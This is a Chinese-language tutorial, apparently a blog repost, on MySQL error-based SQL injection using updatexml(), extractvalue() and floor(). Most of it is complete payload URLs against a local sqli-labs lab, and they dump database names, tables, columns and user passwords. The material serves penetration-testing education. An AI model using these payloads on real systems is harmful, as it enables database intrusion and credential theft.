1、报错注入攻击payload语法
由于后台没有对数据库的报错信息做过滤,会输入到前台显示,那么我们可以利用制造报错函数(常用的几个函数updatexml(),extractvalue(),floor())进行渗透。
报错注入流程:
1、判断是否存在注入点
2、构造错误的语法制造报错
3、使用提示报错信息输出内容。
updatexml()函数:
xml可扩展标记语言,update()更新函数
updatexml()函数具有查询功能的函数,由于查询
语法:updatexml(xml_document,xpath_expr,new_value)
xml_document:需要操作的xml片段
xpath_expr:需要更新的xml路径
new_value:更新后的内容
我们只需将第二个参数,错误格式化即可
concat():内容拼接 0x7e:构造错误的参数
1、暴库
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(database())),1) --+
2、爆表
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
3、爆字段
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
4、爆数据
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from security.users)),1) --+
extractvalue():
语法:extractvale(xml_frag,xpath_expr)
xml_frag:编辑片段
xpath_expr:xpath表达式
extractvalue()函数与updatexml()语法大致相同。
1、爆库
http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(database()))) --+
2、爆表
http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
3、爆字段
http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+
4、爆数据
http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from security.users ))) --+
floor():
注:count():统计函数、concat():内容拼接、floor():向下取整、rand():随机数,这里rand(0)*2,表示随机生成0-1的浮点数、group by 分组
爆库:
http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat(database(), floor(rand(0)*2)) as a from information_schema.tables group by a)b) --+
爆表:users
http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b) --+
爆字段:
http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_schema='security' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b) --+
爆数据:
http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat('~',(select concat(username,";",password)from security.users limit 5,1) ,'~',floor(rand(0)*2)) as a from security.users group by a)b) --+
标签:Less,sqli,报错,concat,mysql,注入,id,select,schema
来源: https://www.cnblogs.com/xiangbing123/p/12913891.html